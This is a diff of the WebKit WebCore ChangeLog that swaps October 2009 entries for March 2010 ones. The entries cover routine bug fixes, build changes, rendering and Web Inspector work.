-        Chromium Mac layout tests will need to be rebaselined.  Existing layout tests for Linux/Win still pass.
+        [Qt] Disable TILED_BACKING_STORE if Qt version is earlier than Qt4.6
+        https://bugs.webkit.org/show_bug.cgi?id=36348
 
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::paintMediaSlider): Use fillRect() instead of drawRect().
+        Backing store implementation for QtWebKit requires at least Qt
+        version 4.6.
 
-2009-10-19  Dmitry Titov  <dimich@chromium.org>
+        No new tests as there is no new functionality.
 
-        Reviewed by Adam Barth.
+        * WebCore.pri:
 
-        Crash in DOMWindow::clearTimeout etc when DOMWindow is not connected to a frame.
-        https://bugs.webkit.org/show_bug.cgi?id=29832
+2010-03-19  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Need to make sure the script caches are reset when frame gets disconnected from still-alive DOMWindow.
-        This will prevent JS from calling DOMWindow methods that can not be completed w/o the frame.
+        Reviewed by David Kilzer.
 
-        I am not sure it's possible to test this since the only file that repros the problem need ~10 seconds to cause crash.
+        <input type=range> does not validate correctly without a renderer and the tests are incorrect
+        https://bugs.webkit.org/show_bug.cgi?id=36259
 
-        * page/Frame.cpp:
-        (WebCore::Frame::~Frame): Right after frame disconnects from DOMWindow, clear WindowShell.
+        Setting value attribute on an <input type=range> to an out-of-range value fires oninput
+        https://bugs.webkit.org/show_bug.cgi?id=16990
 
-2009-10-19  Csaba Osztrogonác  <ossy@webkit.org>
+        Part 2 of 2: When setting the range element's value, overflows and underflows
+        are automatically sanitized to valid values. Moved the general case
+        sanitization code out of the Renderer into HTMLInputElement::sanitizeValue.
 
-        Unreviewed build warning fix.
-        [Qt] Apply changes to WebCore.pro introduced in r49778
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::value): when getting a default value on reset() ensure the defaultValue is provided
+        (WebCore::HTMLInputElement::sanitizeValue): clamp the value within the max/min/step range constraints
+        * html/StepRange.cpp:
+        (WebCore::StepRange::StepRange): allow const element in the constructor
+        (WebCore::StepRange::clampValue): clamp from a String value
+        * html/StepRange.h:
+        (WebCore::StepRange::defaultValue): easy calculation of the default value for max/min/step range constraints
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::updateFromElement): no longer handle the general case sanitization in the renderer
 
-        * WebCore.pro: Removed svg/graphics/filters/SVGFEGaussianBlur.h from HEADERS
+2010-03-19  Joseph Pecoraro  <joepeck@webkit.org>
 
-2009-10-19  Dirk Schulze  <krit@webkit.org>
+        Reviewed by David Kilzer.
 
-        Reviewed by Darin Adler.
+        <input type=range> does not validate correctly without a renderer and the tests are incorrect
+        https://bugs.webkit.org/show_bug.cgi?id=36259
 
-        Move feGaussianBlur from WebCore/svg to WebCore/platform
-        [https://bugs.webkit.org/show_bug.cgi?id=30495]
+        Part 1 of 2: Refactoring the SliderRange struct out of RenderSlider
+        into a more appropriate place. Changed the named to StepRange. Changed
+        from a struct to a class.
 
-        This patch moves SVGFRGaussianBlur from svg/graphics/filters
-        to platform/graphics/filters/FEGaussianBlur. This is needed
-        for shadow support on Qt and Cairo.
-        No change in functionality, therfore no new test case needed.
+          Added new files to the build.
 
         * GNUmakefile.am:
         * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * platform/graphics/filters/FEGaussianBlur.cpp: Added.
-        * platform/graphics/filters/FEGaussianBlur.h: Added.
-        * svg/SVGFEGaussianBlurElement.h:
-        * svg/graphics/filters/SVGFEGaussianBlur.cpp: Removed.
-        * svg/graphics/filters/SVGFEGaussianBlur.h: Removed.
-
-2009-10-19  Yael Aharon  <yael.aharon@nokia.com>
-
-        Unreviewed.
-
-        Added reviewer name to r49574.
-
-2009-10-19  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30489
-        [Gtk] The document frame/html container claims to be parentless
+          Renamed and moved class SliderRange to StepRange.
 
-        Work around for the parentless claim made by the accessible associated
-        with the embedded WebView. When we identify this condition, get the
-        widget's parent, and then get the AtkObject from that. Admittedly an ugly
-        hack, but we'll need it for Yelp and other Gtk+/GNOME applications which
-        plan to switch over to WebKit.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_parent):
-
-2009-10-19  Benjamin Otte  <otte@gnome.org>
-
-        Reviewed by Jan Alonzo.
-
-        Handle duration queries properly
-        https://bugs.webkit.org/show_bug.cgi?id=29999
-
-        Previously duration queries failed to handle unknown duration
-        and didn't treat the returned duration as an unsigned.
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::duration):
-
-2009-10-19  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
+        * html/StepRange.cpp: Added.
+        (WebCore::StepRange::StepRange):
+        (WebCore::StepRange::clampValue):
+        (WebCore::StepRange::valueFromElement):
+        (WebCore::sliderPosition):
+        * html/StepRange.h: Added.
+        (WebCore::StepRange::proportionFromValue):
+        (WebCore::StepRange::valueFromProportion):
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::updateFromElement): updated to use StepRange
+        (WebCore::RenderSlider::setValueForPosition): updated to use StepRange
 
-        [Qt] Fix build on Windows.
+2010-03-19  Antti Koivisto  <koivisto@iki.fi>
 
-        * plugins/win/PluginViewWin.cpp:
-        (windowHandleForPageClient):
+        Reviewed by Simon Hausmann.
 
-2009-10-19  Girish Ramakrishnan  <girish@forwardbias.in>
+        https://bugs.webkit.org/show_bug.cgi?id=36366
+        Repaint loop when painting using scaled CTMs with different translations
 
-        Reviewed by Holger Freyther.
+        The code in RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality
+        tests if the scaling has changed from the previous value by comparing the
+        transformations. The test fails if the scale is the same but the translation 
+        changes. This can lead to infinite repaint loop if the document is painted 
+        in pieces using different translations (for example for tiling).
 
-        [Qt] Windowed Plugins: Don't crash when client is 0.
-        
-        Client is 0 when we use QWebPage without a QWebView or QGraphicsWebView.
-        In addition, setFrameRect()/updatePluginWidget() is called even if the
-        plugin was not succesfully loaded. updatePluginWidget() updates the
-        window rect which is, in theory, useful to draw something that indicates
-        that we didn't load successfully.
-        
-        So, a status check is added to setNPWindowIfNeeded.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30380
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::setNPWindowIfNeeded):
-        (WebCore::PluginView::platformStart):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality):
 
-2009-10-19  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-19  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Holger Freyther.
+        Reviewed by Timothy Hatcher.
 
-        [Qt] Windowed Plugins: Fix crash when QWebPage is deleted after QWebView.
-        
-        Fixes various sources of crashes:
-        1. The PluginContainer is a child of QWebView. When the view gets deleted,
-        the PluginView is not notified about the deletion of PluginContainer.
-        2. QWebView destructor does not set client to 0.
-        3. Sometimes pending paint events are sent after the plugin has died, so add
-        a check in PluginView::setNPWindowIfNeeded.
+        Web Inspector: editing shorthands does not always work.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30354
+        https://bugs.webkit.org/show_bug.cgi?id=36362
 
-        * plugins/qt/PluginContainerQt.cpp:
-        (PluginContainerQt::~PluginContainerQt):
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::setNPWindowIfNeeded):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::applyStyleText):
+        (WebCore::InspectorDOMAgent::populateObjectWithStyleProperties):
+        (WebCore::InspectorDOMAgent::shorthandValue):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/inspector.css:
+        (.section .properties li.disabled .enabled-button):
+        * inspector/front-end/inspector.js:
+        (WebInspector.startEditing.editingCommitted):
 
-2009-10-19  Jakob Truelsen  <antialize@gmail.com>
+2010-03-19  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
-        Reviewed by Adam Barth.
+        Reviewed by Simon Hausmann.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29042
-        Allow one to customize the minimal and maximal shrink factors used when printing.
+        [Qt] Don't replace clip when drawing complex text
 
-        * page/PrintContext.cpp:
-        (WebCore::PrintContext::begin):
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setPrintingMinimumShrinkFactor):
-        (WebCore::Settings::setPrintingMaximumShrinkFactor):
-        * page/Settings.h:
-        (WebCore::Settings::printingMinimumShrinkFactor):
-        (WebCore::Settings::printingMaximumShrinkFactor):
+        * platform/graphics/qt/FontQt.cpp:
 
-2009-10-18  Erik Arvidsson  <arv@chromium.org>
+2010-03-18  Darin Fisher  <darin@chromium.org>
 
         Reviewed by Adam Barth.
 
-        Fixes issue where doubleclicking a word could select following adjacent newlines.
-        https://bugs.webkit.org/show_bug.cgi?id=30234
-
-        Tests: platform/mac/editing/selection/doubleclick-should-not-expand-across-lines.html
-               platform/mac/editing/selection/script-tests/TEMPLATE.html
-               platform/win/editing/selection/doubleclick-should-not-expand-across-lines.html
-               platform/win/editing/selection/script-tests/TEMPLATE.html
-
-        * editing/VisibleSelection.cpp:
-        (WebCore::VisibleSelection::appendTrailingWhitespace):
-
-2009-10-18  Kevin Ollivier  <kevino@theolliviers.com>
-
-        CURL build fix, use proper header name.
-
-        * platform/network/curl/ResourceHandleManager.h:
-
-2009-10-18  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Properties on Arrays and NodeLists are not logged correctly.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30485
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._formatarray):
-        (WebInspector.ConsoleView.prototype._printArray):
-
-2009-10-18  Pavel Feldman  <pfeldman@chromium.org>
+        If a frame is already in the document, then setting its "src" attribute
+        should add the resultant navigation to history.
 
-        Not reviewed: touching WebCore so that it
-        initiated inspector frontend deployment on Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=9166
 
-        Web Inspector: frontend files are not deployed in Windows
-        incremental build.
+        This behavior is specified in section 4.8.2 of the HTML5 spec.
 
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::unbind):
+        Test: fast/loader/frame-src-change-added-to-history.html
 
-2009-10-18  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Title of dir(["test", "test2"]) should be Array
-
-        https://bugs.webkit.org/show_bug.cgi?id=30486
-
-        Test: inspector/console-tests.html
-
-        * inspector/front-end/InjectedScript.js:
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::openURL):
+        (WebCore::HTMLFrameElementBase::setLocation):
+        * html/HTMLFrameElementBase.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::requestFrame):
+        * loader/FrameLoader.h:
 
-2009-10-18  Dirk Schulze  <krit@webkit.org>
+2010-03-18  Chris Evans  <cevans@chromium.org>
 
         Reviewed by Nikolas Zimmermann.
 
-        REGRESSION: SVG Mask doesn't work for maskContentUnits="objectBoundingBox"
-        [https://bugs.webkit.org/show_bug.cgi?id=30480]
-
-        Patch for SVGMaskElement landed in r49598 should correct the location of
-        the mask image graphics context. It only corrects the location for userSpaceOnUse
-        mode in maskContentUnits but breaks objectBoundingBoxMode.
-        The maskDestRect shouldn't be moved. It is not responsible for the correct context
-        postioin but for the correct position of the mask image.
-        This patch calculates the context postion independently from the maskDestRect.
-        It also uses lineareRGB color space for masking on CG now. This is the default
-        color space for masking operations.
-        We already have tests for both maskContentUnits modes.
+        Fix a minor crash with mismatched array sizes in SVG animation
+        elements.
 
-            *svg/W3C-SVG-1.1/masking-intro-01-f.svg
-            *svg/custom/mask-with-default-value.svg
+        https://bugs.webkit.org/show_bug.cgi?id=35606
 
-        Some tests needed new pixel tests because of the new color space.
+        Test: svg/animations/keypoints-mismatch.svg
 
-        * svg/SVGMaskElement.cpp:
-        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGAnimationElement.cpp:
+        (WebCore::SVGAnimationElement::startedActiveInterval):
+        Globally apply validations relevant to all animation types.
 
-2009-10-18  Anton Muhin  <antonm@chromium.org>
+2010-03-18  Vangelis Kokkevis  <vangelis@chromium.org>
 
         Reviewed by Adam Barth.
 
-        Use v8::Integer::NewFromUnsigned when converting unsigneds into V8's numbers.
-        That is notably faster for small numbers (most common case).
-        https://bugs.webkit.org/show_bug.cgi?id=30493
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-
-2009-10-18  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Holger Freyther.
-
-        [GTK] Add MathML to the build system
-        https://bugs.webkit.org/show_bug.cgi?id=30487
+        Implement software composited graphics layers in Chromium using the Skia library.
+        https://bugs.webkit.org/show_bug.cgi?id=35557
+        This is an initial step in the implementation. Layer compositing is functioning
+        but not optimized in any way. Subsesquent check-ins will be necessary to fine tune
+        it.
 
-        Add MathML sources if MathML support is enabled.
+        Test: No new exposed functionality so no new tests.
 
-        * GNUmakefile.am:
-
-2009-10-18  Kevin Ollivier  <kevino@theolliviers.com>
-
-        Non-PCH build fix. Added missing header.
-
-        * bridge/runtime_root.h:
-
-2009-10-18  Simon Fraser  <simon.fraser@apple.com>
+        * WebCore.gypi:
+          Added new source files to the chromium build
+        * platform/graphics/GraphicsLayer.h:
+          Added necessary typedef's and forward declarations for Chromium.
+        * platform/graphics/skia/GraphicsLayerSkia.cpp: Added.
+        * platform/graphics/skia/GraphicsLayerSkia.h: Added.
+          Declaration and implementation of the platform-specific GraphicsLayer class.
+        * platform/graphics/skia/LayerRendererSkia.cpp: Added.
+        * platform/graphics/skia/LayerRendererSkia.h: Added.
+          Declaration and implementation of the Skia-based software compositor.
+        * platform/graphics/skia/LayerSkia.cpp: Added.
+        * platform/graphics/skia/LayerSkia.h: Added.
+          Declaration and implementation of a compositable layer that uses a Skia canvas
+          for backing store.
+
+2010-03-18  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        Reviewed by Dan Bernstein.
+        Reviewed by Darin Adler.
 
-        Compositing layers not correctly updated after partial layout
-        https://bugs.webkit.org/show_bug.cgi?id=30425
-        
-        When a partial layout happened, for example as the result of a postion-change-only
-        layout, then some compositing layer positions were not correctly updated. To fix
-        this, updateLayerPositions() now carries along a flag that is set at the rootmost
-        layer being updated, and used to determine when we hit the first compositing layer
-        in this update. RenderLayerBacking::updateAfterLayout() makes use of this information
-        to do a full geometry update on that layer, which is thus the rootmost compositing
-        layer that is being updated.
+        Make setPrinting() with printing=false, restore the previous
+        media type in use.
 
-        Test: compositing/geometry/partial-layout-update.html
+        Test: fast/media/print-restores-previous-mediatype.html
 
+        * page/Frame.cpp:
+        (WebCore::Frame::setPrinting):
         * page/FrameView.cpp:
-        (WebCore::FrameView::layout):
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::updateLayerPositions):
-        (WebCore::RenderLayer::scrollToOffset):
-        * rendering/RenderLayer.h:
-        (WebCore::RenderLayer::):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateAfterLayout):
-        * rendering/RenderLayerBacking.h:
-
-2009-09-13  Kevin Watters  <kevinwatters@gmail.com>
-
-        Reviewed by Kevin Ollivier.
-
-        Add support for proxies in CURL.
- 
-        https://bugs.webkit.org/show_bug.cgi?id=30446
-
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::ResourceHandleManager::setProxyInfo):
-        (WebCore::ResourceHandleManager::initializeHandle):
-        * platform/network/curl/ResourceHandleManager.h:
-        (WebCore::ResourceHandleManager::):
-
-2009-10-18  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez
-
-        https://bugs.webkit.org/show_bug.cgi?id=25901
-        Use ATK_ROLE_SECTION for divTag and ATK_ROLE_LABEL for labelTag
-
-        Replaces the use of ATK_ROLE_PANEL with the expected accessible roles.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_role):
-
-2009-10-17  Nikolas Zimmermann  <nzimmermann@rim.com>
-
-        Reviewed by George Staikos.
-
-        Cleanup SVGElement code, preparing for animVal support
-        https://bugs.webkit.org/show_bug.cgi?id=30466
-
-        Add new SynchronizablePropertyController and move the code for SVG property <-> XML attribute synchronization
-        from SVGElement. This is a further preparation for animVal support, where SynchronizablePropertyController will
-        be used to control the start/end state of an animated property.
-
-        We're currently tracking animated properties that need synchronization, generalize this concept and use
-        it to track their creation (bound to certain SVG*Element classes) as well as a flag determing the need
-        of synchronization (no SVG DOM object wrappers, no synchronization needed).
-
-        No change in functionality, thus no tests.
-
-        * GNUmakefile.am: Add 'SynchronizablePropertyController.cpp/h' to build
-        * WebCore.gypi: Ditto.
-        * WebCore.pro: Ditto.
-        * WebCore.vcproj/WebCore.vcproj: Ditto.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
-        * svg/SVGAllInOne.cpp: Ditto.
-        * svg/SVGAnimatedProperty.h: Add registerProperty() function 
-        (WebCore::::SVGAnimatedProperty): Call registerProperty() function  
-        (WebCore::::registerProperty): Add new registerProperty() function, announcing new properties to SynchronizablePropertyController.
-        * svg/SVGAnimatedTemplate.h: Use propertyController() method, to access the new functions moved from SVGElement.
-        (WebCore::lookupOrCreateWrapper):
-        * svg/SVGElement.cpp: Adapt to code moving to SynchronizablePropertyController.
-        (WebCore::SVGElement::updateAnimatedSVGAttribute):
-        * svg/SVGElement.h: Move handling SVG property synchronization to SynchronizablePropertyController.
-        (WebCore::SVGElement::propertyController): Expose reference to SynchronizablePropertyController object.
-        * svg/SVGViewSpec.cpp: Reorder initialization order of contextElement, leading to possible crashes.
-        (WebCore::SVGViewSpec::SVGViewSpec):
-        (WebCore::SVGViewSpec::viewTarget):
-        * svg/SVGViewSpec.h: Ditto.
-        (WebCore::SVGViewSpec::contextElement):
-        * svg/SynchronizablePropertyController.cpp: Added.
-        (WebCore::SynchronizablePropertyController::SynchronizablePropertyController):
-        (WebCore::SynchronizablePropertyController::registerProperty):
-        (WebCore::SynchronizablePropertyController::setPropertyNeedsSynchronization):
-        (WebCore::SynchronizablePropertyController::synchronizeProperty):
-        (WebCore::SynchronizablePropertyController::synchronizeAllProperties):
-        (WebCore::SynchronizablePropertyController::startAnimation):
-        (WebCore::SynchronizablePropertyController::stopAnimation):
-        * svg/SynchronizablePropertyController.h: Added.
-        (WebCore::SynchronizableProperty::SynchronizableProperty):
-        (WebCore::SynchronizableProperty::isHashTableDeletedValue):
-        (WebCore::SynchronizableProperty::operator==):
-        (WebCore::SynchronizablePropertyHash::hash):
-        (WebCore::SynchronizablePropertyHash::equal):
-        (WebCore::SynchronizablePropertyHashTraits::constructDeletedValue):
-        (WebCore::SynchronizablePropertyHashTraits::isDeletedValue):
-
-2009-10-17  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25413
-        [GTK] Please expose the level of headings
-
-        Exposes the heading level as an attribute of the AtkObject.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (addAttributeToSet):
-        (webkit_accessible_get_attributes):
-        (webkit_accessible_class_init):
-
-2009-10-17  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Eric Seidel.
-
-        EventHandler::eventLoopHandleMouseDragged needs ENABLE(DRAG_SUPPORT) guards
-        https://bugs.webkit.org/show_bug.cgi?id=30472
-
-        Put ENABLE(DRAG_SUPPORT) guards around EventHandler::eventLoopHandleMouseDragged
-        in EventHandler.cpp. MSVC fails to compile when DRAG_SUPPORT not enabled.
-
-        * page/EventHandler.cpp:
-
-2009-10-17  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        [chromium] Video controls not zoomed / transformed correctly
-        https://bugs.webkit.org/show_bug.cgi?id=30461
-
-        Draw the images in the controls scaled.
-
-        No new tests. With this change Chromium will pass the following tests:
-        LayoutTests/media/video-controls-zoomed.html
-        LayoutTests/media/video-controls-transformed.html
-
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::paintMediaButton):
-        Pass along the target rect directly.
-        (WebCore::RenderMediaControlsChromium::adjustMediaSliderThumbSize):
-        Adjust the thumb slide applied with the scale factor.
-
-2009-10-17  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Unreviewed.
-
-        [Gtk] Build fix for WebKitGtk after r49723.
-
-        Add bindings/js/JSExceptionBase.* to the build.
-
-        * GNUmakefile.am:
-
-2009-10-17  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Unreviewed.
-
-        [Qt] Build fix for QtWebKit after r49723.
-
-        Add bindings/js/JSExceptionBase.cpp to the build.
-
-        * WebCore.pro:
-
-2009-10-16  Steve Falkenburg  <sfalken@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30456
-        Fixes for new Debug_All Windows build configuration.
-
-        * platform/network/cf/ResourceRequestCFNet.cpp:
-        (WebCore::findCFNetworkModule): Ask for the correct library instead of guessing.
-        * platform/win/ScrollbarThemeSafari.cpp: Use new DEBUG_ALL preprocessor define for library naming.
-        * rendering/RenderMediaControls.cpp: Use new DEBUG_ALL preprocessor define for library naming.
-        * rendering/RenderThemeSafari.cpp: Use new DEBUG_ALL preprocessor define for library naming.
-
-2009-10-16  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Add SPI to determine whether a plug-in has ever been halted.
-
-        Part of <rdar://problem/7312158>.
-
-        Reviewed by Dan Bernstein.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::PluginView):
-        Initialize m_hasBeenHalted.
-
-        * plugins/PluginView.h:
-        (WebCore::PluginView::hasBeenHalted):
-        Return m_hasBeenHalted.
-
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::halt):
-        Set m_hasBeenHalted.
-
-2009-10-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        @charset rule after the first byte causes the rest of css to be ignored
-        https://bugs.webkit.org/show_bug.cgi?id=18265
-
-        Apparently we're supposed to tolerate whitespace before the charset
-        rule so folks can write code like this:
-
-        <style>
-        @charset "utf-8"
-        ...
-        </style>
-
-        I'm told this is one of the top compatability problems in China.
-        Tests: fast/css/comment-before-charset-external.html
-               fast/css/comment-before-charset.html
-               fast/css/many-spaces-before-charset.html
-               fast/css/space-before-charset-external.html
-               fast/css/space-before-charset.html
-
-        * css/CSSGrammar.y:
+        (WebCore::FrameView::adjustMediaTypeForPrinting):
+        * page/FrameView.h:
 
-2009-10-16  Brian Weinstein  <bweinstein@apple.com>
+2010-03-18  David Kilzer  <ddkilzer@apple.com>
 
-        Reviewed by Darin Adler.
+        <http://webkit.org/b/36338> Remove unused RenderReplaced::adjustOverflowForBoxShadowAndReflect() declaration
 
-        Fixes part of <http://webkit.org/b/30412>.
-        Web Inspector should get human readable DOM Exceptions.
+        Rubber-stamped by Darin Adler.
 
-        Add a description field to ExceptionBase, and call it through 
-        reportException which allows the user/developer to get a more detailed
-        and coherent error explanation through the Web Inspector.
+        This declaration should have been removed in r47440.
 
-        This only applies to exceptions that come from a script on the page when
-        it is run. DOM Exceptions that come from the code run in the console, or DOM
-        exceptions that are caught and logged will come in a future patch.
+        * rendering/RenderReplaced.h:
+        (WebCore::RenderReplaced::adjustOverflowForBoxShadowAndReflect): Removed.
 
-        Tests: inspector/uncaught-dom1-exception.html
-               inspector/uncaught-dom3-exception.html
-               inspector/uncaught-dom8-exception.html
+2010-03-18  Jian Li  <jianli@chromium.org>
 
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::reportException):
-        * bindings/js/JSExceptionBase.cpp: Added.
-        (WebCore::toExceptionBase):
-        * bindings/js/JSExceptionBase.h: Added.
-        * dom/ExceptionBase.cpp:
-        (WebCore::ExceptionBase::ExceptionBase):
-        * dom/ExceptionBase.h:
-        (WebCore::ExceptionBase::description):
-        * dom/ExceptionCode.cpp:
-        (WebCore::):
-        (WebCore::getExceptionCodeDescription):
-        * dom/ExceptionCode.h:
+        Reviewed by Dmitry Titov.
 
-2009-10-16  Geoffrey Garen  <ggaren@apple.com>
+        Dragging a PDF image triggers assertion in DragController::startDrag()
+        https://bugs.webkit.org/show_bug.cgi?id=36247
 
-        Build fix: forgot to check in this #include.
+        Test: fast/images/drag-pdf-as-image.html
 
-        * bridge/runtime_root.h:
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        (WebCore::PDFDocumentImage::filenameExtension):
+        * platform/graphics/cg/PDFDocumentImage.h:
 
-2009-10-16  Simon Fraser  <simon.fraser@apple.com>
+2010-03-18  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by Dan Bernstein.
 
-        Transform layer gets stuck with the wrong transform after an animation ends
-        <rdar://problem/7311662>
-
-        Work around a CoreAnimation bug which causes an animated transform layer to
-        end up with a stale transform.
-        
-        Test: compositing/animation/state-at-end-event-transform-layer.html
+        Avoid taking a reference to a String owned by a temporary AtomicString.
 
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::bug7311367Workaround):
-        (WebCore::GraphicsLayerCA::removeAnimationFromLayer):
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::RareData::parseNth):
 
-2009-10-16  Simon Fraser  <simon.fraser@apple.com>
+2010-03-18  Chris Marrin  <cmarrin@apple.com>
 
-        Reviewed by Dan Bernstein.
+        Reviewed by Simon Fraser.
 
-        After running a transition with an end event listener, can't change the transform
-        https://bugs.webkit.org/show_bug.cgi?id=30454
+        Fixed parenting issues with HW layers on Windows
+        https://bugs.webkit.org/show_bug.cgi?id=32449
         
-        Fix an issue where, if a document had any listener for webkitTransitionEnd or webkitAnimationEnd,
-        the animations would not get cleaned up correctly, which broke subsequent changes of transform.
+        CACF can't properly fix superlayer changes, so a layer added
+        as a sublayer must have a null superlayer. I changed a couple of
+        places that change sublayers to removeFromSuperlayer while adding
+        to a new layer. This fixes both the problem of disappearing children
+        and children getting doubled. Also got rid of removeSublayer(). Layers
+        should always be removed from their parent with removeFromSuperlayer().
         
-        Now, we always clean up the animations right after queuing up the end events.
-
-        Tests: animations/state-at-end-event.html
-               transitions/move-after-transition.html
-
-        * page/animation/ImplicitAnimation.cpp:
-        (WebCore::ImplicitAnimation::onAnimationEnd):
-        * page/animation/KeyframeAnimation.cpp:
-        (WebCore::KeyframeAnimation::onAnimationEnd):
-
-2009-10-15  Joseph Pecoraro  <joepeck@webkit.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Handle the Enter Key in the Elements Tree Hierarchy
-        https://bugs.webkit.org/show_bug.cgi?id=30428
-
-        TextNode => Edit Text Node
-        Has Attributes => Edit First Attribute
-        No Attributes => Start Editing New Attribute
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype.handleKeyEvent): handle the "Enter" key
-        (WebInspector.ElementsTreeElement.prototype.set hovered): only add new attribute button on nodes with attributes
-        (WebInspector.ElementsTreeElement.prototype._addNewAttribute): prevent moving backwards where there are no attributes
-        (WebInspector.ElementsTreeElement.prototype._startEditingFromEvent): renamed to be clearer
-        (WebInspector.ElementsTreeElement.prototype._startEditing): transition to the appropriate edit state for a tree element
-
-2009-10-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Fix header indent style for FrameLoader and friends
-        https://bugs.webkit.org/show_bug.cgi?id=30430
-
-        * loader/FrameLoader.h:
-        (WebCore::FrameLoader::frame):
-        (WebCore::FrameLoader::policyChecker):
-        (WebCore::FrameLoader::history):
-        (WebCore::FrameLoader::notifier):
-        (WebCore::FrameLoader::isLoadingMainResource):
-        (WebCore::FrameLoader::documentLoader):
-        (WebCore::FrameLoader::policyDocumentLoader):
-        (WebCore::FrameLoader::provisionalDocumentLoader):
-        (WebCore::FrameLoader::state):
-        (WebCore::FrameLoader::client):
-        (WebCore::FrameLoader::url):
-        (WebCore::FrameLoader::isLoadingFromCachedPage):
-        (WebCore::FrameLoader::committingFirstRealLoad):
-        (WebCore::FrameLoader::committedFirstRealDocumentLoad):
-        (WebCore::FrameLoader::creatingInitialEmptyDocument):
-        * loader/HistoryController.h:
-        (WebCore::HistoryController::currentItem):
-        (WebCore::HistoryController::provisionalItem):
-        * loader/PolicyCallback.h:
-        (WebCore::PolicyCallback::request):
-        * loader/PolicyChecker.h:
-        (WebCore::PolicyChecker::loadType):
-        (WebCore::PolicyChecker::setLoadType):
-        (WebCore::PolicyChecker::delegateIsDecidingNavigationPolicy):
-        (WebCore::PolicyChecker::delegateIsHandlingUnimplementablePolicy):
-        * loader/RedirectScheduler.h:
-        * loader/ResourceLoadNotifier.h:
-
-2009-10-16  Steve Falkenburg  <sfalken@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Add a Debug_All configuration to build entire stack as debug.
-        Change Debug_Internal to:
-        - stop using _debug suffix for all WebKit/Safari binaries
-        - not use _debug as a DLL naming suffix
-        - use non-debug C runtime lib.
-
-        * WebCore.vcproj/QTMovieWin.vcproj: Add Debug_All configuration.
